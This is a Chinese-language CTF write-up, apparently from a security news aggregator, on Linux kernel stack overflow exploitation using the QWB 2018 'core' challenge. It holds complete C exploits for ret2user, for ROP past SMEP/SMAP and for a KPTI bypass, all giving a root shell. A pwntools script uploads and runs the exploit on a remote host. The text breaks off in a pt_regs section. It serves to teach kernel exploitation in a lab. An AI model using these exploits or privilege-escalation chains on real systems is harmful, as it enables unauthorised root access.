Aggregator
Infostealers Dominate as Lumma Stealer Detections Soar by Almost 400%
入选“磐安”教育应用优秀案例!360打造人才培育标杆
80项细分领域入选!360引领安全+AI最佳实践
评论 | 别让“网络水军”搅浑舆论“清水池”
观点 | 促进数据跨境有序流动
法治 | 程啸:个人数据经济利益的法律保护
5问+1图 | 读懂《制造业企业数字化转型实施指南》
发布 | 中国信通院发布《量子信息技术发展与应用研究报告(2024年)》(附下载)
行业 | 首批筹建13个科研创新中心,360持续推进产教融合与科教融汇新发展
发布 | 工信部等三部门印发《制造业企业数字化转型实施指南》(附全文)
发布 | 国家数据局等五部门印发《关于促进企业数据资源开发利用的意见》(附全文)
锐捷网络的云平台漏洞可能使 5 万台设备遭受远程攻击
眼见不为实|假 Zoom 会议钓鱼分析
Kernel Stack栈溢出攻击及保护绕过
本文介绍Linux内核的栈溢出攻击,和内核一些保护的绕过手法,通过一道内核题及其变体从浅入深一步步走进kernel世界。
QWB_2018_core 题目分析start.sh
qemu-system-x86_64 \-m 128M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
开启了kaslr保护。
如果自己编译的 qemu 可能会报错network backend ‘user‘ is not compiled into this binary,解决方法就是sudo apt-get install libslirp-dev,然后重新编译 ./configure --enable-slirp。
init
解压 core.cpio(最简单的方式就是在ubuntu里,右击提取到此处),分析 init 文件:
#!/bin/shmount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko # 加载内核模块core.ko
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
poweroff -d 0 -f
-
第 9 行中把 kallsyms 的内容保存到了 /tmp/kallsyms 中,那么我们就能从 /tmp/kallsyms 中读取 commit_creds,prepare_kernel_cred 的函数的地址了。
-
第 10 行把 kptr_restrict 设为 1,这样就不能通过 /proc/kallsyms 查看函数地址了,但第 9 行已经把其中的信息保存到了一个可读的文件中,这句就无关紧要了。
-
第 11 行把 dmesg_restrict 设为 1,这样就不能通过 dmesg 查看 kernel 的信息了。
-
第 18 行设置了定时关机,为了避免做题时产生干扰,直接把这句删掉然后重新打包。
里面还有一个 gen_cpio.sh 脚本,用于快速打包。
find . -print0 \| cpio --null -ov --format=newc \
| gzip -9 > $1
-
KASLR:
Kernel Address Space Layout Randomization(内核地址空间布局随机化),开启后,允许kernel image加载到VMALLOC区域的任何位置。在未开启KASLR保护机制时,内核代码段的基址为 0xffffffff81000000,direct mapping area 的基址为 0xffff888000000000。
-
FG-KASLR:
Function Granular Kernel Address Space Layout Randomization细粒度的 kaslr,函数级别上的 KASLR 优化。该保护只是在代码段打乱顺序,在数据段偏移不变,例如 commit_creds 函数的偏移改变但是 init_cred 的偏移不变。
-
Dmesg Restrictions:
通过设置/proc/sys/kernel/dmesg_restrict为1, 可以将dmesg输出的信息视为敏感信息(默认为0)
-
Kernel Address Display Restriction:
内核提供控制变量 /proc/sys/kernel/kptr_restrict 用于控制内核的一些输出打印。
-
kptr_restrict == 2 :内核将符号地址打印为全 0 , root 和普通用户都没有权限.
-
kptr_restrict == 1 : root 用户有权限读取,普通用户没有权限.
-
kptr_restrict == 0 : root 和普通用户都可以读取.
core.ko
检查一下保护。
❯ checksec core/core.ko[*] '/home/pwn/kernel/pwn/give_to_player/core/core.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x0)
使用 IDA 继续分析.ko文件。
init_module() 注册了 /proc/core,core_fops 时其注册的file_operations结构体实例,会面会做介绍。
__int64 init_module(){
core_proc = proc_create("core", 438LL, 0LL, &core_fops);
printk(&unk_2DE);
return 0LL;
}
exit_core()删除 /proc/core。
__int64 exit_core(){
__int64 result; // rax
if ( core_proc )
result = remove_proc_entry("core");
return result;
}
core_ioctl() 定义了三条命令,分别调用 core_read(), core_copy_func()和设置全局变量 off。
__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3){
switch ( a2 )
{
case 0x6677889B:
core_read(a3);
break;
case 0x6677889C:
printk(&unk_2CD);
off = a3;
break;
case 0x6677889A:
printk(&unk_2B3);
core_copy_func(a3);
break;
}
return 0LL;
}
core_read() 从 v4[off] 拷贝 64 个字节到用户空间,但要注意的是全局变量 off 是我们能够控制的,因此可以合理的控制 off 来 leak canary 和一些地址 。
void __fastcall core_read(__int64 a1){
__int64 v1; // rbx
char *v2; // rdi
signed __int64 i; // rcx
char v4[64]; // [rsp+0h] [rbp-50h]
/*
* canary保存在rsp+0x40的位置,
* 我们通过设置off为0x40,即可将其读取出来。
*/
unsigned __int64 v5; // [rsp+40h] [rbp-10h]
v1 = a1;
v5 = __readgsqword(0x28u);
printk("\x016core: called core_read\n");
printk("\x016%d %p\n");
v2 = v4;
for ( i = 16LL; i; --i )
{
*(_DWORD *)v2 = 0;
v2 += 4;
}
strcpy(v4, "Welcome to the QWB CTF challenge.\n");
if ( copy_to_user(v1, &v4[off], 64LL) )
__asm { swapgs }
}
core_copy_func() 从全局变量 name 中拷贝数据到局部变量中,长度是由我们指定的,当要注意的是 qmemcpy 用的是 unsigned __int16,但传递的长度是 signed __int64,因此如果控制传入的长度为 0xffffffffffff0000|(0x100) 等值,就可以栈溢出了。
__int64 __fastcall core_copy_func(__int64 a1){
__int64 result; // rax
_QWORD v2[10]; // [rsp+0h] [rbp-50h] BYREF
v2[8] = __readgsqword(0x28u);
printk(&unk_215);
// 这里用的jg判断,为有符号判断,0xffffffffffff0000|(0x100) 会判定为负从而绕过。
if ( a1 > 63 )
{
printk(&unk_2A1);
return 0xFFFFFFFFLL;
}
else
{
result = 0LL;
// 栈溢出。
qmemcpy(v2, &name, (unsigned __int16)a1);
}
return result;
}
core_write() 向全局变量 name 上写,这样通过 core_write() 和 core_copy_func() 就可以控制 ropchain 了 。
signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3){
unsigned __int64 v3; // rbx
v3 = a3;
printk("\x016core: called core_writen");
if ( v3 <= 0x800 && !copy_from_user(name, a2, v3) )
return (unsigned int)v3;
printk("\x016core: error copying data from userspacen");
return 0xFFFFFFF2LL;
}
字符驱动设备
内核注册字符设备驱动设备时会用到file_operations结构体,file_operations 结构体中的成员函数是字符设备驱动程序设计的主体内容,结构体中的一些指针比如open() 、write() 、read() 、close() 等系统调用时最终会被内核调用,我们可以通过指定指针指向的内容修改其默认值为我们自定义的函数,这样我们在类似read(dev_fd, buf, 0x100)时就会调用我们自定义的my_read函数。
它还有一个指针为unlocked_ioctl,我们在用户态时可以使用系统调用ioctl去访问控制内核注册的设备(ioctl系统调用号为0x10,由rax保存,需要注意的时,系统调用和用户传参的rdi,rsi,rdx,rcx,r8,r9不同,系统调用第四个传参寄存器为r10,即rdi,rsi,rdx,r10,r8,r9)。
为了动态调试的方便一些,我们需要做以下工作:
(1)通过qemu append参数关闭 kaslr ,qemu提供了-s参数用于调试,默认端口为1234。
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr"(2)修改init脚本将权限调到 root。
...setsid /bin/cttyhack setuidgid 0 /bin/sh
...
(3)启动qemu,查看模块基地址。
/ # lsmodcore 16384 0 - Live 0xffffffffc0000000 (O)
(4)通过 add-symbol-file core.ko textaddr 把 core.ko 符号加载进去。
#!/bin/shgdb -q \
-ex "file ./core/vmlinux" \
-ex "file ./core/core.ko" \
-ex "add-symbol-file ./core/core.ko 0xffffffffc0000000" \
-ex "target remote localhost:1234" ret2user
顾名思义,即返回到用户空间的提权代码上进行提权,之后返回用户态即为 root 权限。
提权方式
这里只简单介绍两种朴素的方法,第一种是通过commit_creds(prepare_kernel_cred(0))去提权,不过这种方式已经过时了,不过这道题的内核版本支持这种方法提权,prepare_kernel_cred()会将拷贝一个新的cred凭证,参数为零默认拷贝init_cred,其具有root权限。commit_cred()负责应用到进程。
第二种是 commit_cred(&init_cred),原因是init_cred是静态定义的,我们只要找到init_cred地址便可借助commit_cred完成提权。我们通过vmlinux-to-elf bzImage vmlinux解压并恢复内核部分符号,通过逆向 prepare_kernel_cred() 函数便可轻松定位其地址。
_DWORD *__fastcall prepare_kernel_cred(__int64 a1){
_DWORD *v1; // rbx
int *task_cred; // rbp
v1 = (_DWORD *)kmem_cache_alloc(qword_FFFFFFFF82735900, 20971712LL);
if ( !v1 )
return 0LL;
if ( a1 )
{
task_cred = (int *)get_task_cred(a1);
}
else
{
_InterlockedIncrement(dword_FFFFFFFF8223D1A0);
task_cred = dword_FFFFFFFF8223D1A0; // init_cred
}
[......]
}
状态保存
通常情况下,我们的 exploit 需要进入到内核当中完成提权,而我们最终仍然需要着陆回用户态以获得一个 root 权限的 shell,因此在我们的 exploit 进入内核态之前我们需要手动模拟用户态进入内核态的准备工作保存各寄存器的值到内核栈上,以便于后续着陆回用户态。通常情况下使用如下函数保存各寄存器值到我们自己定义的变量中,以便于构造 rop 链:
gcc 编译时需要指定参数:-masm=intel。
size_t user_cs, user_ss, user_rflags, user_sp;void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("33[34m33[1m[*] Status has been saved.33[0m");
}
返回用户态
由内核态返回用户态只需要:
-
swapgs指令通过用一个MSR中的值交换GS寄存器的内容,用来获取指向内核数据结构的指针,然后才能执行系统调用之类的内核空间程序,其也用于恢复用户态 GS 寄存器。
-
sysretq或者iretq恢复到用户空间
那么我们只需要在内核中找到相应的 gadget 并执行swapgs;iretq就可以成功着陆回用户态。
执行 iretq 时的栈布局。
|----------------------|| RIP |<== low mem
|----------------------|
| CS |
|----------------------|
| EFLAGS |
|----------------------|
| RSP |
|----------------------|
| SS |<== high mem
|----------------------|
所以我们应当构造如下 rop 链以返回用户态并获得一个 shell:
↓ swapgsiretq
user_shell_addr
user_cs
user_eflags //64bit user_rflags
user_sp
user_ss 利用思路
在未开启 SMAP/SMEP 保护(后面会讲解)的情况下,用户空间无法访问内核空间的数据,但是内核空间可以访问 / 执行用户空间的数据,所以可以使用ret2user。题目给的vmlinux用于提取gadget可以,但使用IDA分析时太慢,可以用vmlinux-to-elf解压bzImage进行分析。
-
从 /tmp/kallsyms 读取符号地址,确认与nokaslr偏移,从vmlinux寻找gadget。
-
保存用户状态。
-
通过设置 off 读取 canary。
-
于内核态访问用户空间的 commit_creds(prepare_kernel_cred(NULL))/commit_creds(init_cred);提权。
-
通过 swapgs; mov trap_frame, rsp; iretq 返回用户空间,并执行 system("/bin/sh");。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>
#define KERNCALL __attribute__((regparm(3)))
/* /tmp/kallsyms 保存的符号地址,这里保存的是未开启kaslr的地址 */
void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xFFFFFFFF8109CCE0;
void *(*commit_creds)(void *) KERNCALL = (void *) 0xFFFFFFFF8109C8E0;
void *init_cred = (void *) 0xFFFFFFFF8223D1A0;
void get_shell()
{
system("/bin/sh");
}
void get_root() {
commit_creds(init_cred);
// commit_creds(prepare_kernel_cred(0));
asm("swapgs;"
"mov rsp, tf_addr;"
"iretq;");
}
struct trap_frame {
size_t user_rip;
size_t user_cs;
size_t user_rflags;
size_t user_sp;
size_t user_ss;
} __attribute__((packed));
struct trap_frame tf;
size_t user_cs, user_rflags, user_sp, user_ss, tf_addr = (size_t) &tf;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
tf.user_rip = (size_t) get_shell;
tf.user_cs = user_cs;
tf.user_rflags = user_rflags;
tf.user_sp = user_sp - 0x1000;
tf.user_ss = user_ss;
puts("[*] status has been saved.");
}
int core_fd;
void core_read(char *buf) {
ioctl(core_fd, 0x6677889B, buf);
}
void set_off(size_t off) {
ioctl(core_fd, 0x6677889C, off);
}
void core_copy_func(size_t len) {
ioctl(core_fd, 0x6677889A, len);
}
void core_write(char *buf, size_t len) {
write(core_fd, buf, len);
}
/* 计算开启kaslr后的偏移,重定位相关函数和结构体的地址 */
void rebase() {
FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
if (kallsyms_fd < 0) {
puts("[-] Failed to open kallsyms.\n");
exit(-1);
}
char name[0x50], type[0x10];
size_t addr;
while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
size_t offset = -1;
if (!strcmp(name, "commit_creds")) {
offset = addr - (size_t) commit_creds;
} else if (!strcmp(name, "prepare_kernel_cred")) {
offset = addr - (size_t) prepare_kernel_cred;
}
if (offset != -1) {
printf("[*] offset: %p\n", offset);
commit_creds = (void *) ((size_t) commit_creds + offset);
prepare_kernel_cred = (void *) ((size_t) prepare_kernel_cred + offset);
init_cred = (void *) ((size_t) init_cred + offset);
break;
}
}
printf("[*] commit_creds: %p\n", (size_t) commit_creds);
printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}
size_t get_canary() {
set_off(0x40);
char buf[0x40];
core_read(buf);
return *(size_t *) buf;
}
int main() {
rebase();
save_status();
core_fd = open("/proc/core", O_RDWR);
if (core_fd < 0) {
puts("[-] Failed to open core.");
exit(-1);
}
size_t canary = get_canary();
printf("[*] canary: %p\n", canary);
char buf[0x100];
memset(buf, '\x00', sizeof(buf));
*(size_t *) &buf[0x40] = canary;
*(void **) &buf[0x50] = get_root; // 覆盖返回地址
core_write(buf, sizeof(buf));
// jg 有符号判断,判其为负数,qmemcpy() 第三个参数取其后16位,导致溢出。
core_copy_func(0xffffffffffff0000 | sizeof(buf));
return 0;
}
编译exp时需要注意,本机环境编译的exp可能无法与题目环境交互,需要使用musl-gcc或者相应版本的docker进行编译,musl-gcc有一些库不支持,但大部分情况下都是可以的。
打包脚本
本题提供了打包脚本,可以直接./gen_cpio.sh ../core_new.cpio 打包即可。如果没提供可以使用以下命令打包。
find . | cpio -o -H newc > ../rootfs.imgs打包完成后,改回题目环境,运行脚本测试即可。发送至远程可以使用以下脚本:
from pwn import *import base64
#context.log_level = "debug"
with open("./exp", "rb") as f:
exp = base64.b64encode(f.read())
p = remote("127.0.0.1", 11451)
#p = process('./run.sh')
try_count = 1
while True:
p.sendline()
p.recvuntil("/ $")
count = 0
for i in range(0, len(exp), 0x200):
p.sendline("echo -n \"" + exp[i:i + 0x200] + "\" >> /tmp/b64_exp")
count += 1
log.info("count: " + str(count))
for i in range(count):
p.recvuntil("/ $")
p.sendline("cat /tmp/b64_exp | base64 -d > /tmp/exploit")
p.sendline("chmod +x /tmp/exploit")
p.sendline("/tmp/exploit ")
break
p.interactive()
调试
可以看到add rsp, 0x48;pop rbx后,ret指令正好执行我们用户空间的提权代码。
kernel rop without KPIT开启 smep 和 smap 保护后,内核空间无法执行用户空间的代码,并且无法访问用户空间的数据。因此不能直接 ret2user 。利用 ROP执行 commit_creds(prepare_kernel_cred(0))/commit_creds(init_cred) , 然后 iret 返回用户空间可以绕过上述保护。
添加 smep 和 smap 保护。
qemu-system-x86_64 \-m 128M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-cpu qemu64,+smep,+smap
-
smep:
Supervisor Mode Execution Protection(管理模式执行保护),当处理器处于 ring 0 模式,执行用户空间的代码会触发页错误。(在 arm 中该保护称为 PXN)
-
smap:
Superivisor Mode Access Protection(管理模式访问保护),类似于 smep,当处理器处于 ring 0 模式,访问用户空间的数据会触发页错误。
-
从 /tmp/kallsyms 读取符号地址,确认与nokaslr偏移,从vmlinux寻找gadget。
-
保存用户状态。
-
通过设置 off 读取 canary。
-
于内核空间 rop 调用 commit_creds(prepare_kernel_cred(NULL))/commit_creds(init_cred);提权。
-
通过 swapgs; popfq; ret; ,iretq 返回用户空间,并执行 system("/bin/sh");。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>
// from vmlinux
size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
/*
* (1)如果使用 commit_creds(prepare_kernel_cred(NULL));
* 由于找不到 mov rdi, rax; ret; 这条 gadget ,
* 因此需要用 mov rdi, rax; call rdx; 代替,其中 rdx 指向 pop rcx; ret;
* 可以清除 call 指令压入栈中的 rip ,因此相当于 ret 。
* (2)如果使用 commit_creds(init_cred);
* 则只需要 pop rdi; ret 即可。
*/
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_popfq_ret = 0xffffffff81a012da;
size_t iretq = 0xffffffff81050ac2;
void get_shell() {
system("/bin/sh");
}
size_t user_cs, user_rflags, user_sp, user_ss;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*] status has been saved.");
}
int core_fd;
void core_read(char *buf) {
ioctl(core_fd, 0x6677889B, buf);
}
void set_off(size_t off) {
ioctl(core_fd, 0x6677889C, off);
}
void core_copy_func(size_t len) {
ioctl(core_fd, 0x6677889A, len);
}
void core_write(char *buf, size_t len) {
write(core_fd, buf, len);
}
void rebase() {
FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
if (kallsyms_fd < 0) {
puts("[-] Failed to open kallsyms.\n");
exit(-1);
}
char name[0x50], type[0x10];
size_t addr;
while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
size_t offset = -1;
if (!strcmp(name, "commit_creds")) {
offset = addr - (size_t) commit_creds;
} else if (!strcmp(name, "prepare_kernel_cred")) {
offset = addr - (size_t) prepare_kernel_cred;
}
if (offset != -1) {
printf("[*] offset: %p\n", offset);
commit_creds += offset;
prepare_kernel_cred += offset;
init_cred += offset;
pop_rdi_ret += offset;
pop_rdx_ret += offset;
pop_rcx_ret += offset;
mov_rdi_rax_call_rdx += offset;
swapgs_popfq_ret += offset;
iretq += offset;
break;
}
}
printf("[*] commit_creds: %p\n", (size_t) commit_creds);
printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}
size_t get_canary() {
set_off(64);
char buf[64];
core_read(buf);
return *(size_t *) buf;
}
int main() {
save_status();
rebase();
core_fd = open("/proc/core", O_RDWR);
if (core_fd < 0) {
puts("[-] Failed to open core.");
exit(-1);
}
size_t canary = get_canary();
printf("[*] canary: %p\n", canary);
char buf[0x100];
memset(buf, '\x00', sizeof(buf));
*(size_t *) &buf[0x40] = canary;
size_t *rop = (size_t *) &buf[0x50], it = 0;
rop[it++] = pop_rdi_ret;
rop[it++] = 0;
rop[it++] = prepare_kernel_cred;
rop[it++] = pop_rdx_ret; // rdx ==> pop_rcx_ret_addr
rop[it++] = pop_rcx_ret;
// rax==prepare_kernel_cred(0), cal rdx ==> push commit_creds_addr, then pop_rcx_ret
rop[it++] = mov_rdi_rax_call_rdx;
rop[it++] = commit_creds;
rop[it++] = swapgs_popfq_ret;
rop[it++] = 0;
rop[it++] = iretq;
rop[it++] = (size_t) get_shell;
rop[it++] = user_cs;
rop[it++] = user_rflags;
rop[it++] = user_sp;
rop[it++] = user_ss;
core_write(buf, sizeof(buf));
core_copy_func(0xffffffffffff0000 | sizeof(buf));
return 0;
} kernel rop with KPIT
将 CPU 类型修改为 kvm64 后开启了 KPTI 保护。
#!/bin/shqemu-system-x86_64 \
-m 256M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-cpu kvm64,+smep,+smap
KPTI:
kernel page-table isolation,内核页表隔离,进程页表隔离。旨在更好地隔离用户空间与内核空间的内存来提高安全性。KPTI通过完全分离用户空间与内核空间页表来解决页表泄露。一旦开启了KPTI,由于内核态和用户态的页表不同,所以如果使用 ret2user或内核执行ROP返回用户态时,由于内核态无法确定用户态的页表,就会报出一个段错误。可以利用内核现有的gadget将 cr3 与 0x1000 异或(第13位置0)来完成从用户态PGD转换成内核态PGD。
利用思路比较简单的方法是借助 swapgs_restore_regs_and_return_to_usermode 返回用户态。该函数是内核在 arch/x86/entry/entry_64.S 中提供的一个用于完成内核态到用户态切换的函数。当然我们也可以利用内核的gadget将cr3的第13位置0(与0x1000异或)来完成从用户态PGD转换成内核态PGD。
.text:FFFFFFFF81A008DA ; __int64 swapgs_restore_regs_and_return_to_usermode(void).text:FFFFFFFF81A008DA public swapgs_restore_regs_and_return_to_usermode
.text:FFFFFFFF81A008DA swapgs_restore_regs_and_return_to_usermode proc near
.text:FFFFFFFF81A008DA ; CODE XREF: ;entry_SYSCALL_64_after_hwframe+4D↑j
.text:FFFFFFFF81A008DA ; entry_SYSCALL_64_after_hwframe+5E↑j ...
.text:FFFFFFFF81A008DA pop r15
.text:FFFFFFFF81A008DC pop r14
.text:FFFFFFFF81A008DE pop r13
.text:FFFFFFFF81A008E0 pop r12
.text:FFFFFFFF81A008E2 pop rbp
.text:FFFFFFFF81A008E3 pop rbx
.text:FFFFFFFF81A008E4 pop r11
.text:FFFFFFFF81A008E6 pop r10
.text:FFFFFFFF81A008E8 pop r9
.text:FFFFFFFF81A008EA pop r8
.text:FFFFFFFF81A008EC pop rax
.text:FFFFFFFF81A008ED pop rcx
.text:FFFFFFFF81A008EE pop rdx
.text:FFFFFFFF81A008EF pop rsi
/*
* 我们再利用时直接跳到这里即可,不过 rop 接下来还要有 16 字节的填充来表示 orig_rax 和 rdi 的位置。
*/
.text:FFFFFFFF81A008F0 mov rdi, rsp ; jump this
.text:FFFFFFFF81A008F3 mov rsp, gs:qword_5004
.text:FFFFFFFF81A008FC push qword ptr [rdi+30h]
.text:FFFFFFFF81A008FF push qword ptr [rdi+28h]
.text:FFFFFFFF81A00902 push qword ptr [rdi+20h]
.text:FFFFFFFF81A00905 push qword ptr [rdi+18h]
.text:FFFFFFFF81A00908 push qword ptr [rdi+10h]
.text:FFFFFFFF81A0090B push qword ptr [rdi]
.text:FFFFFFFF81A0090D push rax
.text:FFFFFFFF81A0090E jmp short loc_FFFFFFFF81A00953
[......]
;loc_FFFFFFFF81A00953
.text:FFFFFFFF81A00953 loc_FFFFFFFF81A00953: ; CODE XREF: ;swapgs_restore_regs_and_return_to_usermode+34↑j
.text:FFFFFFFF81A00953 pop rax
.text:FFFFFFFF81A00954 pop rdi
.text:FFFFFFFF81A00955 swapgs
.text:FFFFFFFF81A00958 jmp native_iret
.text:FFFFFFFF81A00958 swapgs_restore_regs_and_return_to_usermode endp
[......]
;native_iret
.text:FFFFFFFF81A00980 test [rsp+arg_18], 4
.text:FFFFFFFF81A00985 jnz short native_irq_return_ldt
.text:FFFFFFFF81A00985 native_iret endp
[......]
;native_irq_return_ldt
.text:FFFFFFFF81A00989 push rdi
.text:FFFFFFFF81A0098A swapgs
.text:FFFFFFFF81A0098D jmp short loc_FFFFFFFF81A009A1
[......]
;loc_FFFFFFFF81A009A1
.text:FFFFFFFF81A009A1 mov rdi, gs:qword_F000
.text:FFFFFFFF81A009AA mov [rdi], rax
.text:FFFFFFFF81A009AD mov rax, [rsp+8]
.text:FFFFFFFF81A009B2 mov [rdi+8], rax
.text:FFFFFFFF81A009B6 mov rax, [rsp+8+arg_0]
.text:FFFFFFFF81A009BB mov [rdi+10h], rax
.text:FFFFFFFF81A009BF mov rax, [rsp+8+arg_8]
.text:FFFFFFFF81A009** mov [rdi+18h], rax
.text:FFFFFFFF81A009C8 mov rax, [rsp+8+arg_18]
.text:FFFFFFFF81A009CD mov [rdi+28h], rax
.text:FFFFFFFF81A009D1 mov rax, [rsp+8+arg_10]
.text:FFFFFFFF81A009D6 mov [rdi+20h], rax
.text:FFFFFFFF81A009DA and eax, 0FFFF0000h
.text:FFFFFFFF81A009DF or rax, gs:qword_F008
.text:FFFFFFFF81A009E8 push rax
.text:FFFFFFFF81A009E9 jmp short loc_FFFFFFFF81A00A2E
[......]
;loc_FFFFFFFF81A00A2E
.text:FFFFFFFF81A00A2E pop rax
.text:FFFFFFFF81A00A2F swapgs
.text:FFFFFFFF81A00A32 pop rdi
.text:FFFFFFFF81A00A33 mov rsp, rax
.text:FFFFFFFF81A00A36 pop rax
.text:FFFFFFFF81A00A37 jmp native_irq_return_iret
[......]
;native_irq_return_iret
.text:FFFFFFFF81A00987 iretq
.text:FFFFFFFF81A00987 native_irq_return_iret endp exp #include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>
size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_popfq_ret = 0xffffffff81a012da;
size_t iretq = 0xffffffff81050ac2;
size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;
void get_shell() {
system("/bin/sh");
}
size_t user_cs, user_rflags, user_sp, user_ss;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*] status has been saved.");
}
int core_fd;
void core_read(char *buf) {
ioctl(core_fd, 0x6677889B, buf);
}
void set_off(size_t off) {
ioctl(core_fd, 0x6677889C, off);
}
void core_copy_func(size_t len) {
ioctl(core_fd, 0x6677889A, len);
}
void core_write(char *buf, size_t len) {
write(core_fd, buf, len);
}
void rebase() {
FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
if (kallsyms_fd < 0) {
puts("[-] Failed to open kallsyms.\n");
exit(-1);
}
char name[0x50], type[0x10];
size_t addr;
while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
size_t offset = -1;
if (!strcmp(name, "commit_creds")) {
offset = addr - (size_t) commit_creds;
} else if (!strcmp(name, "prepare_kernel_cred")) {
offset = addr - (size_t) prepare_kernel_cred;
}
if (offset != -1) {
printf("[*] offset: %p\n", offset);
commit_creds += offset;
prepare_kernel_cred += offset;
init_cred += offset;
pop_rdi_ret += offset;
pop_rdx_ret += offset;
pop_rcx_ret += offset;
mov_rdi_rax_call_rdx += offset;
swapgs_popfq_ret += offset;
iretq += offset;
swapgs_restore_regs_and_return_to_usermode += offset;
break;
}
}
printf("[*] commit_creds: %p\n", (size_t) commit_creds);
printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}
size_t get_canary() {
set_off(64);
char buf[64];
core_read(buf);
return *(size_t *) buf;
}
int main() {
save_status();
rebase();
core_fd = open("/proc/core", O_RDWR);
if (core_fd < 0) {
puts("[-] Failed to open core.");
exit(-1);
}
size_t canary = get_canary();
printf("[*] canary: %p\n", canary);
char buf[0x100];
memset(buf, '\x00', sizeof(buf));
// 0x40~0x48->canary; 0x48~0x50->rbp; 0x50~0x58->fake_retaddr
*(size_t *) &buf[0x40] = canary;
size_t *rop = (size_t *) &buf[0x50], it = 0;
rop[it++] = pop_rdi_ret;
rop[it++] = 0;
rop[it++] = prepare_kernel_cred;
rop[it++] = pop_rdx_ret;
rop[it++] = pop_rcx_ret;
rop[it++] = mov_rdi_rax_call_rdx;
rop[it++] = commit_creds;
rop[it++] = swapgs_restore_regs_and_return_to_usermode + 0x16;
rop[it++] = 0;
rop[it++] = 0;
rop[it++] = (size_t) get_shell;
rop[it++] = user_cs;
rop[it++] = user_rflags;
rop[it++] = user_sp;
rop[it++] = user_ss;
core_write(buf, sizeof(buf));
core_copy_func(0xffffffffffff0000 | sizeof(buf));
return 0;
} 利用 pt_regs 构造 rop
qemu启动脚本
#!/bin/shqemu-system-x86_64 \
-m 256M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-cpu kvm64,+smep,+smap
查看entry_SYSCALL_64 这一用汇编写的函数内部,注意到当程序进入到内核态时,该函数会将所有的寄存器压入内核栈上,形成一个 pt_regs结构体,该结构体实质上位于内核栈底,定义如下:
struct pt_regs {/*
* C ABI says these regs are callee-preserved. They aren't saved on kernel entry
* unless syscall needs a complete, fully filled "struct pt_regs".
*/
unsigned long r15;
unsigned long r14;
unsigned long r13;
unsigned long r12;
unsigned long rbp;
unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
unsigned long r11;
unsigned long r10;
unsigned long r9;
unsigned long r8;
unsigned long rax;
unsigned long rcx;
unsigned long rdx;
unsigned long rsi;
unsigned long rdi;
/*
* On syscall entry, this is syscall#. On CPU exception, this is error code.
* On hw interrupt, it's IRQ number:
*/
